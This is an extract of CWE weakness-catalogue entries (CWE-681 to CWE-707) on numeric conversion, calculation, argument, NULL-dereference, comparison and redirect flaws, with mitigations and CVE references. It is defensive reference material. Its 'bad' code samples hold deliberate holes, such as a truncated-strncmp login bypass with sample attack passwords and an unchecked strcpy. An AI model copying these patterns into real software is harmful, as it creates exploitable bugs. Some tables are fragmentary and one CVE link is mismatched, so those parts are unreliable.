Language : Language-Independent *(Prevalence = Undetermined)*

Common Consequences

Scope	Impact	Likelihood
Integrity	Modify Memory	

Scope	Impact	Likelihood
Availability	DoS: Crash, Exit, or Restart	
Confidentiality	Execute Unauthorized Code or Commands	

Observed Examples

Reference	Description
CVE-2017-1000121	chain: unchecked message size metadata allows integer overflow (CWE-190) leading to buffer overflow (CWE-119). *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-1000121*

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

CWE-681: Incorrect Conversion between Numeric Types

Weakness ID : 681 **Status:** Draft
Structure : Simple
Abstraction : Base

Description

When converting from one data type to another, such as long to integer, data can be omitted or translated in a way that produces unexpected values. If the resulting values are used in a sensitive context, then dangerous behaviors may occur.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Software Development" (CWE-699)

Nature	Type	ID	Name	Page
MemberOf	C	136	Type Errors	1850
MemberOf	C	189	Numeric Errors	1852

Applicable Platforms

Language : Language-Independent *(Prevalence = Undetermined)*

Likelihood Of Exploit

High

Common Consequences

Scope	Impact	Likelihood
Other Integrity	Unexpected State Quality Degradation *The program could wind up using the wrong number and generate incorrect results. If the number is used to allocate resources or make a security decision, then this could introduce a vulnerability.*	

Potential Mitigations

Phase: Implementation

Avoid making conversion between numeric types. Always check for the allowed ranges.

Demonstrative Examples

Example 1:

In the following Java example, a float literal is cast to an integer, thus causing a loss of precision.

Example Language: Java *(bad)*

```
int i = (int) 33457.8f;
```

Example 2:

This code adds a float and an integer together, casting the result to an integer.

Example Language: PHP *(bad)*

```
$floatVal = 1.8345;
$intVal = 3;
$result = (int)$floatVal + $intVal;
```

Normally, PHP will preserve the precision of this operation, making $result = 4.8345. After the cast to int, it is reasonable to expect PHP to follow rounding convention and set $result = 5. However, the explicit cast to int always rounds DOWN, so the final value of $result is 4. This behavior may have unintended consequences.

Example 3:

In this example the variable amount can hold a negative value when it is returned. Because the function is declared to return an unsigned int, amount will be implicitly converted to unsigned.

Example Language: C *(bad)*

```
unsigned int readdata () {
  int amount = 0;
  ...
  if (result == ERROR)
  amount = -1;
  ...
  return amount;
}
```

If the error condition in the code above is met, then the return value of readdata() will be 4,294,967,295 on a system that uses 32-bit integers.

Example 4:

In this example, depending on the return value of accecssmainframe(), the variable amount can hold a negative value when it is returned. Because the function is declared to return an unsigned value, amount will be implicitly cast to an unsigned number.

Example Language: C *(bad)*

```
unsigned int readdata () {
  int amount = 0;
  ...
  amount = accessmainframe();
  ...
  return amount;
}
```

If the return value of accessmainframe() is -1, then the return value of readdata() will be 4,294,967,295 on a system that uses 32-bit integers.

Observed Examples

Reference	Description
CVE-2007-4268	Chain: integer signedness error (CWE-195) passes signed comparison, leading to heap overflow (CWE-122) *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-4268*

CWE-682: Incorrect Calculation

Weakness ID : 682 **Status:** Draft
Structure : Simple
Abstraction : Pillar

Description

The software performs a calculation that generates incorrect or unintended results that are later used in security-critical decisions or resource management.

Extended Description

When software performs a security-critical calculation incorrectly, it might lead to incorrect resource allocations, incorrect privilege assignments, or failed comparisons among other things. Many of the direct results of an incorrect calculation can lead to even larger problems such as failed protection mechanisms or even arbitrary code execution.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

ParentOf	B	369	Divide By Zero	818

Applicable Platforms

Language : Language-Independent *(Prevalence = Undetermined)*

Technology : Technology-Independent *(Prevalence = Undetermined)*

Likelihood Of Exploit

High

Common Consequences

Scope	Impact	Likelihood
Availability	DoS: Crash, Exit, or Restart *If the incorrect calculation causes the program to move into an unexpected state, it may lead to a crash or impairment of service.*	
Integrity Confidentiality Availability	DoS: Crash, Exit, or Restart DoS: Resource Consumption (Other) Execute Unauthorized Code or Commands *If the incorrect calculation is used in the context of resource allocation, it could lead to an out-of-bounds operation (CWE-119) leading to a crash or even arbitrary code execution. Alternatively, it may result in an integer overflow (CWE-190) and / or a resource consumption problem (CWE-400).*	
Access Control	Gain Privileges or Assume Identity *In the context of privilege or permissions assignment, an incorrect calculation can provide an attacker with access to sensitive resources.*	
Access Control	Bypass Protection Mechanism *If the incorrect calculation leads to an insufficient comparison (CWE-697), it may compromise a protection mechanism such as a validation routine and allow an attacker to bypass the security-critical code.*	

Detection Methods

Manual Analysis

This weakness can be detected using tools and techniques that require manual (human) analysis, such as penetration testing, threat modeling, and interactive tools that allow the tester to record and modify an active session. Specifically, manual static analysis is useful for evaluating the correctness of allocation calculations. This can be useful for detecting overflow conditions (CWE-190) or similar weaknesses that might have serious security impacts on the program.

Effectiveness = High

These may be more effective than strictly automated techniques. This is especially the case with weaknesses that are related to design and business rules.

Potential Mitigations

Phase: Implementation

Understand your programming language's underlying representation and how it interacts with numeric calculation. Pay close attention to byte size discrepancies, precision, signed/unsigned distinctions, truncation, conversion and casting between types, "not-a-number" calculations, and how your language handles numbers that are too large or too small for its underlying representation.

Phase: Implementation

Strategy = Input Validation

Perform input validation on any numeric input by ensuring that it is within the expected range. Enforce that the input meets both the minimum and maximum requirements for the expected range.

Phase: Implementation

Use the appropriate type for the desired action. For example, in C/C++, only use unsigned types for values that could never be negative, such as height, width, or other numbers related to quantity.

Phase: Architecture and Design

Strategy = Language Selection

Use languages, libraries, or frameworks that make it easier to handle numbers without unexpected consequences. Examples include safe integer handling packages such as SafeInt (C ++) or IntegerLib (C or C++).

Phase: Architecture and Design

Strategy = Libraries or Frameworks

Use languages, libraries, or frameworks that make it easier to handle numbers without unexpected consequences. Examples include safe integer handling packages such as SafeInt (C ++) or IntegerLib (C or C++).

Phase: Implementation

Strategy = Compilation or Build Hardening

Examine compiler warnings closely and eliminate problems with potential security implications, such as signed / unsigned mismatch in memory operations, or use of uninitialized variables. Even if the weakness is rarely exploitable, a single failure may lead to the compromise of the entire system.

Phase: Testing

Use automated static analysis tools that target this type of weakness. Many modern techniques use data flow analysis to minimize the number of false positives. This is not a perfect solution, since 100% accuracy and coverage are not feasible.

Phase: Testing

Use dynamic tools and techniques that interact with the software using large test suites with many diverse inputs, such as fuzz testing (fuzzing), robustness testing, and fault injection. The software's operation may slow down, but it should not become unstable, crash, or generate incorrect results.

Demonstrative Examples

Example 1:

The following image processing code allocates a table for images.

Example Language: C *(bad)*

```
img_t table_ptr; /*struct containing img data, 10kB each*/
int num_imgs;
...
num_imgs = get_num_imgs();
table_ptr = (img_t*)malloc(sizeof(img_t)*num_imgs);
...
```

This code intends to allocate a table of size num_imgs, however as num_imgs grows large, the calculation determining the size of the list will eventually overflow (CWE-190). This will result in a very small list to be allocated instead. If the subsequent code operates on the list as if it were num_imgs long, it may result in many types of out-of-bounds problems (CWE-119).

Example 2:

This code attempts to calculate a football team's average number of yards gained per touchdown.

Example Language: Java *(bad)*

```
...
int touchdowns = team.getTouchdowns();
int yardsGained = team.getTotalYardage();
System.out.println(team.getName() + " averages " + yardsGained / touchdowns + "yards gained for every touchdown scored");
...
```

The code does not consider the event that the team they are querying has not scored a touchdown, but has gained yardage. In that case, we should expect an ArithmeticException to be thrown by the JVM. This could lead to a loss of availability if our error handling code is not set up correctly.

Example 3:

This example attempts to calculate the position of the second byte of a pointer.

Example Language: C *(bad)*

```
int *p = x;
char * second_char = (char *)(p + 1);
```

In this example, second_char is intended to point to the second byte of p. But, adding 1 to p actually adds sizeof(int) to p, giving a result that is incorrect (3 bytes off on 32-bit platforms). If the resulting memory address is read, this could potentially be an information leak. If it is a write, it could be a security-critical write to unauthorized memory-- whether or not it is a buffer overflow. Note that the above code may also be wrong in other ways, particularly in a little endian environment.

Observed Examples

Reference	Description
CVE-2020-0022	chain: mobile phone Bluetooth implementation does not include offset when calculating packet length (CWE-682), leading to out-of-bounds write (CWE-787) *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2004-1363*
CVE-2004-1363	substitution overflow: buffer overflow using environment variables that are expanded after the length check is performed *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2004-1363*

CWE-683: Function Call With Incorrect Order of Arguments

Weakness ID : 683 **Status:** Draft
Structure : Simple
Abstraction : Variant

Description

The software calls a function, procedure, or routine, but the caller specifies the arguments in an incorrect order, leading to resultant weaknesses.

Extended Description

While this weakness might be caught by the compiler in some languages, it can occur more frequently in cases in which the called function accepts variable numbers or types of arguments, such as format strings in C. It also can occur in languages or environments that do not enforce strong typing.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	B	628	Function Call with Incorrectly Specified Arguments	1243

Weakness Ordinalities

Primary :

Common Consequences

Scope	Impact	Likelihood
Other	Quality Degradation	

Potential Mitigations

Phase: Implementation

Use the function, procedure, or routine as specified.

Phase: Testing

Because this function call often produces incorrect behavior it will usually be detected during testing or normal operation of the software. During testing exercise all possible control paths will typically expose this weakness except in rare cases when the incorrect function call accidentally produces the correct results or if the provided argument type is very similar to the expected argument type.

Demonstrative Examples

Example 1:

The following PHP method authenticates a user given a username/password combination but is called with the parameters in reverse order.

Example Language: PHP *(bad)*

```
function authenticate($username, $password) {
    // authenticate user
    ...
}
authenticate($_POST['password'], $_POST['username']);
```

Observed Examples

Reference	Description
CVE-2006-7049	Application calls functions with arguments in the wrong order, allowing attacker to bypass intended access restrictions. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-7049*

MemberOf Relationships

MemberOf	C	998	SFP Secondary Cluster: Glitch in Computation	888	1958

CWE-684: Incorrect Provision of Specified Functionality

Weakness ID : 684 **Status:** Draft
Structure : Simple
Abstraction : Class

Description

The code does not function according to its published specifications, potentially leading to incorrect usage.

Extended Description

When providing functionality to an external party, it is important that the software behaves in accordance with the details specified. When requirements of nuances are not documented, the functionality may produce unintended behaviors for the caller, possibly leading to an exploitable state.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

CWE-685: Function Call With Incorrect Number of Arguments

Weakness ID : 685 **Status:** Draft
Structure : Simple
Abstraction : Variant

Description

The software calls a function, procedure, or routine, but the caller specifies too many arguments, or too few arguments, which may lead to undefined behavior and resultant weaknesses.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	B	628	Function Call with Incorrectly Specified Arguments	1243

Weakness Ordinalities

Primary :

Applicable Platforms

Language : C *(Prevalence = Undetermined)*

Language : Perl *(Prevalence = Undetermined)*

Common Consequences

Scope	Impact	Likelihood
Other	Quality Degradation	

Detection Methods

Other

While this weakness might be caught by the compiler in some languages, it can occur more frequently in cases in which the called function accepts variable numbers of arguments, such as format strings in C. It also can occur in languages or environments that do not require that functions always be called with the correct number of arguments, such as Perl.

Potential Mitigations

Phase: Testing

Because this function call often produces incorrect behavior it will usually be detected during testing or normal operation of the software. During testing exercise all possible control paths will typically expose this weakness except in rare cases when the incorrect function call accidentally produces the correct results or if the provided argument type is very similar to the expected argument type.

MemberOf Relationships

CWE-686: Function Call With Incorrect Argument Type

Weakness ID : 686 **Status:** Draft
Structure : Simple
Abstraction : Variant

Description

The software calls a function, procedure, or routine, but the caller specifies an argument that is the wrong data type, which may lead to resultant weaknesses.

Extended Description

This weakness is most likely to occur in loosely typed languages, or in strongly typed languages in which the types of variable arguments cannot be enforced at compilation time, or where there is implicit casting.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

CWE-687: Function Call With Incorrectly Specified Argument Value

Weakness ID : 687 **Status:** Draft
Structure : Simple
Abstraction : Variant

Description

The software calls a function, procedure, or routine, but the caller specifies an argument that contains the wrong value, which may lead to resultant weaknesses.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	B	628	Function Call with Incorrectly Specified Arguments	1243
ParentOf	V	560	Use of umask() with chmod-style Argument	1132

Weakness Ordinalities

Primary :

Common Consequences

Scope	Impact	Likelihood
Other	Quality Degradation	

Detection Methods

Manual Static Analysis

This might require an understanding of intended program behavior or design to determine whether the value is incorrect.

Demonstrative Examples

Example 1:

This Perl code intends to record whether a user authenticated successfully or not, and to exit if the user fails to authenticate. However, when it calls ReportAuth(), the third argument is specified as 0 instead of 1, so it does not exit.

Example Language: Perl *(bad)*

```
sub ReportAuth {
    my ($username, $result, $fatal) = @_;
    PrintLog("auth: username=%s, result=%d", $username, $result);
    if (($result ne "success") && $fatal) {
        die "Failed!\n";
    }
}
sub PrivilegedFunc
{
    my $result = CheckAuth($username);
    ReportAuth($username, $result, 0);
    DoReallyImportantStuff();
}
```

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

MemberOf	C	742	CERT C Secure Coding Standard (2008) Chapter 9 - Memory Management (MEM)	734	1886
MemberOf	C	876	CERT C++ Secure Coding Section 08 - Memory Management (MEM)	868	1917
MemberOf	C	990	SFP Secondary Cluster: Tainted Input to Command	888	1953
MemberOf	C	998	SFP Secondary Cluster: Glitch in Computation	888	1958

Notes

Relationship

When primary, this weakness is most likely to occur in rarely-tested code, since the wrong value can change the semantic meaning of the program's execution and lead to obviously-incorrect behavior. It can also be resultant from issues in which the program assigns the wrong value to

a variable, and that variable is later used in a function call. In that sense, this issue could be argued as having chaining relationships with many implementation errors in CWE.

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
CERT C Secure Coding	MEM04-C		Do not perform zero length allocations
Software Fault Patterns	SFP24		Tainted input to command

CWE-688: Function Call With Incorrect Variable or Reference as Argument

Weakness ID : 688 **Status:** Draft
Structure : Simple
Abstraction : Variant

Description

The software calls a function, procedure, or routine, but the caller specifies the wrong variable or reference as one of the arguments, which may lead to undefined behavior and resultant weaknesses.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

While this weakness might be caught by the compiler in some languages, it can occur more frequently in cases in which the called function accepts variable numbers of arguments, such as format strings in C. It also can occur in loosely typed languages or environments. This might require an understanding of intended program behavior or design to determine whether the value is incorrect.

Potential Mitigations

Phase: Testing

Because this function call often produces incorrect behavior it will usually be detected during testing or normal operation of the software. During testing exercise all possible control paths will typically expose this weakness except in rare cases when the incorrect function call accidentally

produces the correct results or if the provided argument type is very similar to the expected argument type.

Demonstrative Examples

Example 1:

In the following Java snippet, the accessGranted() method is accidentally called with the static ADMIN_ROLES array rather than the user roles.

Example Language: Java *(bad)*

```
private static final String[] ADMIN_ROLES = ...;
public boolean void accessGranted(String resource, String user) {
    String[] userRoles = getUserRoles(user);
    return accessGranted(resource, ADMIN_ROLES);
}
private boolean void accessGranted(String resource, String[] userRoles) {
    // grant or deny access based on user roles
    ...
}
```

CWE-690: Unchecked Return Value to NULL Pointer Dereference

Weakness ID : 690 **Status:** Draft
Structure : Chain
Abstraction : Compound

Description

The product does not check for an error after calling a function that can return with a NULL pointer if the function fails, which leads to a resultant NULL pointer dereference.

Chain Components

Nature	Type	ID	Name	Page
StartsWith	B	252	Unchecked Return Value	553
FollowedBy	B	476	NULL Pointer Dereference	1009

Extended Description

While unchecked return value weaknesses are not limited to returns of NULL pointers (see the examples in CWE-252), functions often return NULL to indicate an error status. When this error condition is not checked, a NULL pointer dereference can occur.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	B	476	NULL Pointer Dereference	1009

Applicable Platforms

Language : C *(Prevalence = Undetermined)*

Language : C++ *(Prevalence = Undetermined)*

Common Consequences

Scope	Impact	Likelihood
Availability	DoS: Crash, Exit, or Restart	
Integrity Confidentiality Availability	Execute Unauthorized Code or Commands Read Memory Modify Memory *In rare circumstances, when NULL is equivalent to the 0x0 memory address and privileged code can access it, then writing or reading memory is possible, which may lead to code execution.*	

Detection Methods

Black Box

This typically occurs in rarely-triggered error conditions, reducing the chances of detection during black box testing.

White Box

Code analysis can require knowledge of API behaviors for library functions that might return NULL, reducing the chances of detection when unknown libraries are used.

Demonstrative Examples

Example 1:

The code below makes a call to the getUserName() function but doesn't check the return value before dereferencing (which may cause a NullPointerException).

Example Language: Java *(bad)*

```
String username = getUserName();
if (username.equals(ADMIN_USER)) {
    ...
}
```

Example 2:

This example takes an IP address from a user, verifies that it is well formed and then looks up the hostname and copies it into a buffer.

Example Language: C *(bad)*

```
void host_lookup(char *user_supplied_addr){
    struct hostent *hp;
    in_addr_t *addr;
    char hostname[64];
    in_addr_t inet_addr(const char *cp);
    /*routine that ensures user_supplied_addr is in the right format for conversion */
    validate_addr_form(user_supplied_addr);
    addr = inet_addr(user_supplied_addr);
    hp = gethostbyaddr( addr, sizeof(struct in_addr), AF_INET);
    strcpy(hostname, hp->h_name);
}
```

If an attacker provides an address that appears to be well-formed, but the address does not resolve to a hostname, then the call to gethostbyaddr() will return NULL. Since the code does not check the return value from gethostbyaddr (CWE-252), a NULL pointer dereference (CWE-476) would then occur in the call to strcpy().

Note that this example is also vulnerable to a buffer overflow (see CWE-119).

Observed Examples

Reference	Description

CWE-693: Protection Mechanism Failure

Weakness ID : 693 **Status:** Draft
Structure : Simple
Abstraction : Pillar

Description

The product does not use or incorrectly uses a protection mechanism that provides sufficient defense against directed attacks against the product.

Extended Description

This weakness covers three distinct situations. A "missing" protection mechanism occurs when the application does not define any mechanism against a certain class of attack. An "insufficient" protection mechanism might provide some defenses - for example, against the most common attacks - but it does not protect against everything that is intended. Finally, an "ignored" mechanism occurs when a mechanism is available and in active use within the product, but the developer has not applied it in some code path.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Access Control	Bypass Protection Mechanism	

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	975	SFP Secondary Cluster: Architecture	888	1946

Notes

Maintenance

This is a fairly high-level concept, although it covers a number of weaknesses in CWE that were more scattered throughout the natural hierarchy before Draft 9 was released.

Research Gap

The concept of protection mechanisms is well established, but protection mechanism failures have not been studied comprehensively. It is suspected that protection mechanisms can have

significantly different types of weaknesses than the weaknesses that they are intended to prevent.

CWE-694: Use of Multiple Resources with Duplicate Identifier

Weakness ID : 694 **Status:** Incomplete
Structure : Simple
Abstraction : Base

Description

The software uses multiple resources that can have the same identifier, in a context in which unique identifiers are required.

Extended Description

If the software assumes that each resource has a unique identifier, the software could operate on the wrong resource if attackers can cause multiple resources to be associated with the same identifier.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	C	573	Improper Following of Specification by Caller	1153
ChildOf	C	99	Improper Control of Resource Identifiers ('Resource Injection')	224

ParentOf	B	462	Duplicate Key in Associative List (Alist)	983

Relevant to the view "Software Development" (CWE-699)

Nature	Type	ID	Name	Page
MemberOf	C	1006	Bad Coding Practices	1961
MemberOf	C	399	Resource Management Errors	1864

Applicable Platforms

Language : Language-Independent *(Prevalence = Undetermined)*

Common Consequences

Scope	Impact	Likelihood
Access Control	Bypass Protection Mechanism *If unique identifiers are assumed when protecting sensitive resources, then duplicate identifiers might allow attackers to bypass the protection.*	
Other	Quality Degradation	

Potential Mitigations

Phase: Architecture and Design

Where possible, use unique identifiers. If non-unique identifiers are detected, then do not operate any resource with a non-unique identifier and report the error appropriately.

Observed Examples

Reference	Description
CVE-2013-4787	chain: mobile OS verifies cryptographic signature of file in an archive, but then installs a different file with the same name that is also listed in the archive. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2013-4787*

Nature	Type	ID	Name	V	Page
MemberOf	C	984	SFP Secondary Cluster: Life Cycle	888	1951

Notes

Relationship

This weakness is probably closely associated with other issues related to doubling, such as CWE-675 (Duplicate Operations on Resource). It's often a case of an API contract violation (CWE-227).

CWE-695: Use of Low-Level Functionality

Weakness ID : 695 **Status:** Incomplete
Structure : Simple
Abstraction : Base

Description

The software uses low-level functionality that is explicitly prohibited by the framework or specification under which the software is supposed to operate.

Extended Description

The use of low-level functionality can violate the specification in unexpected ways that effectively disable built-in protection mechanisms, introduce exploitable inconsistencies, or otherwise expose the functionality to attack.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

CWE-697: Incorrect Comparison

Weakness ID : 697 **Status:** Incomplete
Structure : Simple
Abstraction : Pillar

Description

The software compares two entities in a security-relevant context, but the comparison is incorrect, which may lead to resultant weaknesses.

Extended Description

This weakness class covers several possibilities:

1. the comparison checks one factor incorrectly;
2. the comparison should consider multiple factors, but it does not check some of those factors at all;
3. the comparison checks the wrong factor.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Weakness Ordinalities

Primary :

Applicable Platforms

Language : Language-Independent *(Prevalence = Undetermined)*

Technology : Technology-Independent *(Prevalence = Undetermined)*

Common Consequences

Scope	Impact	Likelihood
Other	Varies by Context	

Demonstrative Examples

Example 1:

Consider an application in which Truck objects are defined to be the same if they have the same make, the same model, and were manufactured in the same year.

Example Language: Java *(bad)*

```
public class Truck {
    private String make;
    private String model;
    private int year;
    public boolean equals(Object o) {
        if (o == null) return false;
        if (o == this) return true;
        if (!(o instanceof Truck)) return false;
        Truck t = (Truck) o;
        return (this.make.equals(t.getMake()) && this.model.equals(t.getModel()));
    }
}
```

Here, the equals() method only checks the make and model of the Truck objects, but the year of manufacture is not included.

Example 2:

This example defines a fixed username and password. The AuthenticateUser() function is intended to accept a username and a password from an untrusted user, and check to ensure that it matches the username and password. If the username and password match, AuthenticateUser() is intended to indicate that authentication succeeded.

Example Language: C *(bad)*

```
/* Ignore CWE-259 (hard-coded password) and CWE-309 (use of password system for authentication) for this example. */
char *username = "admin";
char *pass = "password";
int AuthenticateUser(char *inUser, char *inPass) {
    if (strncmp(username, inUser, strlen(inUser))) {
        logEvent("Auth failure of username using strlen of inUser");
        return(AUTH_FAIL);
    }
    if (! strncmp(pass, inPass, strlen(inPass))) {
        logEvent("Auth success of password using strlen of inUser");
        return(AUTH_SUCCESS);
    }
    else {
        logEvent("Auth fail of password using sizeof");
        return(AUTH_FAIL);
    }
}
int main (int argc, char **argv) {
    int authResult;
    if (argc < 3) {
        ExitError("Usage: Provide a username and password");
    }
    authResult = AuthenticateUser(argv[1], argv[2]);
    if (authResult == AUTH_SUCCESS) {
        DoAuthenticatedTask(argv[1]);
    }
    else {
        ExitError("Authentication failed");
    }
}
```

In AuthenticateUser(), the strncmp() call uses the string length of an attacker-provided inPass parameter in order to determine how many characters to check in the password. So, if the attacker only provides a password of length 1, the check will only examine the first byte of the application's password before determining success.

As a result, this partial comparison leads to improper authentication (CWE-287).

Any of these passwords would still cause authentication to succeed for the "admin" user:

Example Language: *(attack)*

```
p
pa
pas
pass
```

This significantly reduces the search space for an attacker, making brute force attacks more feasible.

The same problem also applies to the username, so values such as "a" and "adm" will succeed for the username.

While this demonstrative example may not seem realistic, see the Observed Examples for CVE entries that effectively reflect this same weakness.

Observed Examples

Reference	Description
CVE-2016-10003	Proxy performs incorrect comparison of request headers, leading to infoleak *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2016-10003*

MemberOf	C	1140	SEI CERT Oracle Secure Coding Standard for Java - Guidelines 06. Methods (MET)	1133	1987

Notes

Maintenance

This entry likely has some relationships with case sensitivity (CWE-178), but case sensitivity is a factor in other types of weaknesses besides comparison. Also, in cryptography, certain attacks are possible when certain comparison operations do not take place in constant time, causing a timing-related information leak (CWE-208).

CWE-698: Execution After Redirect (EAR)

Weakness ID : 698 **Status:** Incomplete
Structure : Simple
Abstraction : Base

Description

The web application sends a redirect to another location, but instead of exiting, it executes additional code.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	C	670	Always-Incorrect Control Flow Implementation	1308
ChildOf	C	705	Incorrect Control Flow Scoping	1359

Relevant to the view "Software Development" (CWE-699)

Nature	Type	ID	Name	Page
MemberOf	C	438	Behavioral Problems	1867

Weakness Ordinalities

Primary :

Alternate Terms

Redirect Without Exit :

Common Consequences

Scope	Impact	Likelihood
Other Confidentiality Integrity Availability	Alter Execution Logic Execute Unauthorized Code or Commands *This weakness could affect the control flow of the application and allow execution of untrusted code.*	

Detection Methods

Black Box

This issue might not be detected if testing is performed using a web browser, because the browser might obey the redirect and move the user to a different page before the application has produced outputs that indicate something is amiss.

Demonstrative Examples

Example 1:

This code queries a server and displays its status when a request comes from an authorized IP address.

Example Language: PHP *(bad)*

```
$requestingIP = $_SERVER['REMOTE_ADDR'];
if(!in_array($requestingIP,$ipAllowList)){
    echo "You are not authorized to view this page";
    http_redirect($errorPageURL);
}
$status = getServerStatus();
echo $status;
...
```

This code redirects unauthorized users, but continues to execute code after calling http_redirect(). This means even unauthorized users may be able to access the contents of the page or perform a DoS attack on the server being queried. Also, note that this code is vulnerable to an IP address spoofing attack (CWE-212).

Observed Examples

Reference	Description

MemberOf	C	1141	SEI CERT Oracle Secure Coding Standard for Java - Guidelines 07. Exceptional Behavior (ERR)	1133	1987

Notes

Relationship

This is a high-level class that might have some overlap with other classes. It could be argued that even "normal" weaknesses such as buffer overflows involve unusual or exceptional conditions. In that sense, this might be an inherent aspect of most other weaknesses within CWE, similar to API Abuse (CWE-227) and Indicator of Poor Code Quality (CWE-398). However, this entry is currently intended to unify disparate concepts that do not have other places within the Research Concepts view (CWE-1000).

CWE-705: Incorrect Control Flow Scoping

Weakness ID : 705 **Status:** Incomplete
Structure : Simple
Abstraction : Class

Description

The software does not properly return control flow to the proper location after it has completed a task or detected an unusual condition.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	P	691	Insufficient Control Flow Management	1342
ParentOf	B	248	Uncaught Exception	545
ParentOf	V	382	J2EE Bad Practices: Use of System.exit()	836
ParentOf	B	395	Use of NullPointerException Catch to Detect NULL Pointer Dereference	857

CWE-706: Use of Incorrectly-Resolved Name or Reference

Weakness ID : 706 **Status:** Incomplete
Structure : Simple
Abstraction : Class

Description

The software uses a name or reference to access a resource, but the name/reference resolves to a resource that is outside of the intended control sphere.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

CWE-707: Improper Neutralization

Weakness ID : 707 **Status:** Incomplete
Structure : Simple
Abstraction : Pillar

Description

The product does not ensure or incorrectly ensures that structured messages or data are well-formed and that certain security properties are met before being read from an upstream component or sent to a downstream component.

